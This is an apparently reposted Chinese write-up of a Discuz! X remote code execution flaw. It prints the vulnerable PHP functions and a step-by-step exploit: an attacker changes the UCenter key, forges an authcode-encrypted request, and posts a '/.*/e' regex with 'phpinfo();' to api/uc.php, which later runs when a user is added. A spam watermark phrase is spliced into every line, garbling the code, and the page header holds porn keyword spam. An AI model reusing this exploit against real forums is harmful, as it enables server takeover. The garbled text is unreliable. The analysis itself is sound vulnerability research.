国产欧美二区三区-国产欧美高清-国产欧美国产精品第二区-国产欧美国产精品第一区-小说区 图片区-小说区 综合区 都市激情

當前位置: 首頁 > 站長資訊 > 正文頁面

Discuz! X系列遠程代碼執行漏洞分析

0x01 漏洞根源Fko網站目錄_網站網址收錄與提交入口

這個問題的根源在于api/uc.php文件中的updatebadwords方法,代碼如下:Fko網站目錄_網站網址收錄與提交入口

function updatebadwords($get, $post) {Fko網站目錄_網站網址收錄與提交入口

global $_G;Fko網站目錄_網站網址收錄與提交入口

if(!API_UPDATEBADWORDS) {Fko網站目錄_網站網址收錄與提交入口

return API_RETURN_FORBIDDEN;Fko網站目錄_網站網址收錄與提交入口

}Fko網站目錄_網站網址收錄與提交入口

$data = array();Fko網站目錄_網站網址收錄與提交入口

if(is_array($post)) {Fko網站目錄_網站網址收錄與提交入口

foreach($post as $k => $v) {Fko網站目錄_網站網址收錄與提交入口

$data['findpattern'][$k] = $v['findpattern'];Fko網站目錄_網站網址收錄與提交入口

$data['replace'][$k] = $v['replacement'];Fko網站目錄_網站網址收錄與提交入口

}Fko網站目錄_網站網址收錄與提交入口

}Fko網站目錄_網站網址收錄與提交入口

$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';Fko網站目錄_網站網址收錄與提交入口

$fp = fopen($cachefile, 'w');Fko網站目錄_網站網址收錄與提交入口

$s = ";Fko網站目錄_網站網址收錄與提交入口

$s .= '$_CACHE[/'badwords/'] = '.var_export($data, TRUE).";/r/n";Fko網站目錄_網站網址收錄與提交入口

fwrite($fp, $s);Fko網站目錄_網站網址收錄與提交入口

fclose($fp);Fko網站目錄_網站網址收錄與提交入口

return API_RETURN_SUCCEED;Fko網站目錄_網站網址收錄與提交入口

}Fko網站目錄_網站網址收錄與提交入口

方法參數中的$get和$post就是用戶所傳入的內容,從上面代碼我們可以看出在解析$post內容之后,將其寫入到名為badwords的緩存中。這里代碼使用了var_export來避免用戶傳遞單引號來封閉之前語句,注入php代碼。Fko網站目錄_網站網址收錄與提交入口

但是這里有兩個關鍵詞讓我眼前一亮“findpattern”和“replacement”,也就是說這個緩存內容是會被作為執行的。那么如果我向findpattern中傳入帶有e參數的正則表達式,不就可以實現任意代碼執行了嗎?Fko網站目錄_網站網址收錄與提交入口

0x02 漏洞觸發Fko網站目錄_網站網址收錄與提交入口

全局代碼搜了下badwords,用的地方比較少,主要集中在uc的pm和user模塊中。這里我用user來舉例,在uc_client/model/user.php文件中有一個check_usernamecensor方法,來校驗用戶名中是否有badwords,如果有的話就將他替換掉,代碼如下:Fko網站目錄_網站網址收錄與提交入口

function check_usernamecensor($username) {Fko網站目錄_網站網址收錄與提交入口

$_CACHE['badwords'] = $this->base->cache('badwords');Fko網站目錄_網站網址收錄與提交入口

$censorusername = $this->base->get_setting('censorusername');Fko網站目錄_網站網址收錄與提交入口

$censorusername = $censorusername['censorusername'];Fko網站目錄_網站網址收錄與提交入口

$censorexp = '/^('.str_replace(array('//*', "/r/n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';Fko網站目錄_網站網址收錄與提交入口

$usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;Fko網站目錄_網站網址收錄與提交入口

if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {Fko網站目錄_網站網址收錄與提交入口

return FALSE;Fko網站目錄_網站網址收錄與提交入口

} else {Fko網站目錄_網站網址收錄與提交入口

return TRUE;Fko網站目錄_網站網址收錄與提交入口

}Fko網站目錄_網站網址收錄與提交入口

}Fko網站目錄_網站網址收錄與提交入口

可以看到代碼中使用了preg_replace,那么如果我們的正則表達式寫成“/.*/e",就可以在使用這個方法的地方進行任意代碼執行了。而這個方法在disucz中,只要是添加或者修改用戶名的地方都會用到。Fko網站目錄_網站網址收錄與提交入口

0x03 漏洞利用Fko網站目錄_網站網址收錄與提交入口

首先我們們訪問api/uc.php(居然可以直接訪問,好開心),之后我們會發現uc處理機制中比較討厭的環節——用戶傳遞的參數需要經過UC_KEY加密:Fko網站目錄_網站網址收錄與提交入口

if(!defined('IN_UC')) {Fko網站目錄_網站網址收錄與提交入口

require_once '../source/class/class_core.php';Fko網站目錄_網站網址收錄與提交入口

$discuz = C::app();Fko網站目錄_網站網址收錄與提交入口

$discuz->init();Fko網站目錄_網站網址收錄與提交入口

require DISCUZ_ROOT.'./config/config_ucenter.php';Fko網站目錄_網站網址收錄與提交入口

$get = $post = array();Fko網站目錄_網站網址收錄與提交入口

$code = @$_GET['code'];Fko網站目錄_網站網址收錄與提交入口

parse_str(authcode($code, 'DECODE', UC_KEY), $get);Fko網站目錄_網站網址收錄與提交入口

所以這里需要有個前提,需要知道UC_KEY或者可以操控UC_KEY。那么問題來了,我們要怎么達到這個前提呢?Fko網站目錄_網站網址收錄與提交入口

我們在后臺中站長->UCenter設置中發現有“UCenter 通信密鑰”這個字段,這是用于操控discuz和uc連接的app key,而非高級的uc_server key,不過對于我們getshell來說足夠了。在這里修改為任意值,這樣我們就獲取到了加密用的key值了。Fko網站目錄_網站網址收錄與提交入口


Fko網站目錄_網站網址收錄與提交入口

從下圖我們可以看到,配置文件已經被修改了:Fko網站目錄_網站網址收錄與提交入口

Fko網站目錄_網站網址收錄與提交入口

然后我們在自己搭建的discuz的api/uc.php文件中添加兩行代碼,來加密get請求所需要的內容:Fko網站目錄_網站網址收錄與提交入口

$a = 'time='.time().'&action=updatebadwords';Fko網站目錄_網站網址收錄與提交入口

$code = authcode($a, 'ENCODE', 'tang3');Fko網站目錄_網站網址收錄與提交入口

echo $code;exit;Fko網站目錄_網站網址收錄與提交入口

這樣我們就可以獲取到加密后的code值了!Fko網站目錄_網站網址收錄與提交入口


Fko網站目錄_網站網址收錄與提交入口

然后用post方法向api/uc.php發送帶有正則表達式信息的xml數據包,請求頭中有兩個地方需要注意,一個是formhash,一個是剛才獲取的code需要進行一次url編碼,否則解密會出現問題。我使用的數據包如下圖所示:Fko網站目錄_網站網址收錄與提交入口

POST /discuzx3.220150602/api/uc.php?formhash=e6d7c425&code=38f8nhcm4VRgdUvoEUoEs/OpuXNJDgh0Qfep%2bT52HDEyTpHnR4PQ80%2be%2bNCyOWI0DMrXizYwbGFcM/J0Y3a8Zc/N HTTP/1.1Fko網站目錄_網站網址收錄與提交入口

Host: 192.168.188.144Fko網站目錄_網站網址收錄與提交入口

Proxy-Connection: keep-aliveFko網站目錄_網站網址收錄與提交入口

Content-Length: 178Fko網站目錄_網站網址收錄與提交入口

Cache-Control: max-age=0Fko網站目錄_網站網址收錄與提交入口

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Fko網站目錄_網站網址收錄與提交入口

Origin: http://192.168.188.144Fko網站目錄_網站網址收錄與提交入口

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2415.0 Safari/537.36Fko網站目錄_網站網址收錄與提交入口

Content-Type: text/xmlFko網站目錄_網站網址收錄與提交入口

Referer: http://192.168.188.144/discuzx3.220150602/admin.php?action=setting&operation=ucFko網站目錄_網站網址收錄與提交入口

Accept-Encoding: gzip, deflateFko網站目錄_網站網址收錄與提交入口

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6Fko網站目錄_網站網址收錄與提交入口

Cookie: FPDO_2132_saltkey=Z777zGG4; FPDO_2132_lastvisit=1432691505; FPDO_2132_ulastactivity=5830S8vsYWw6CpVTPpdtOgw6cPIZugHKtMQidjBgfdqDGbQJfSmj; so6a_2132_saltkey=JjZJ2klz; so6a_2132_lastvisit=1433227409; so6a_2132_nofavfid=1; so6a_2132_forum_lastvisit=D_2_1433233630; so6a_2132_visitedfid=2; so6a_2132_editormode_e=1; so6a_2132_smile=1D1; so6a_2132_lastcheckfeed=1%7C1433239071; XDEBUG_SESSION=PHPSTORM; so6a_2132_ulastactivity=5238LLJuvhc%2FhKaXEaIzRYm5hbbEAlOy3RL8Lc92aDETkVQJidZY; so6a_2132_auth=96c9HcEpd8OxPZh6GE5stu4Uov%2BUncVwxWbetMvF%2BFZLNuEVj8VoiFyDMkWkXdQ81eg%2F6522CLnsHbkzv%2Fdu; so6a_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; so6a_2132_creditbase=0D0D10D0D0D0D0D0D0; so6a_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; so6a_2132_checkupgrade=1; so6a_2132_lastact=1433476664%09admin.php%09; so6a_2132_sid=LE2xb1Fko網站目錄_網站網址收錄與提交入口

/.*/eFko網站目錄_網站網址收錄與提交入口

phpinfo();Fko網站目錄_網站網址收錄與提交入口

發送后可以發現uc_client/data/cache目錄下的badwords.php內容變為了我們剛剛設定的正則表達式的樣子:Fko網站目錄_網站網址收錄與提交入口


Fko網站目錄_網站網址收錄與提交入口

之后利用方法就有很多種了,可以通過增加一個用戶來實現代碼執行,也可以通過發消息的方式來觸發,這里我以添加一個用戶為例。Fko網站目錄_網站網址收錄與提交入口


Fko網站目錄_網站網址收錄與提交入口


Fko網站目錄_網站網址收錄與提交入口

0x04 漏洞總結Fko網站目錄_網站網址收錄與提交入口

漏洞小結Fko網站目錄_網站網址收錄與提交入口

1.影響范圍個人評價為“高”,Discuz! X系列cms在國內使用范圍極廣,幾乎所有中小型論壇都是用它搭建的。Fko網站目錄_網站網址收錄與提交入口

2.危害性個人評價為“高”,這個漏洞不只是單純的后臺代碼執行,在uc_app key泄露的情況下也是可以利用的,很多轉賬對于uc_app key重視程度不是很大,所以相對來說危害性還是非常高的。Fko網站目錄_網站網址收錄與提交入口

希望本文所述對大家的Discuz程序有所幫助Fko網站目錄_網站網址收錄與提交入口

  

此文由 網站目錄_網站網址收錄與提交入口 編輯,未經允許不得轉載!:

相關文章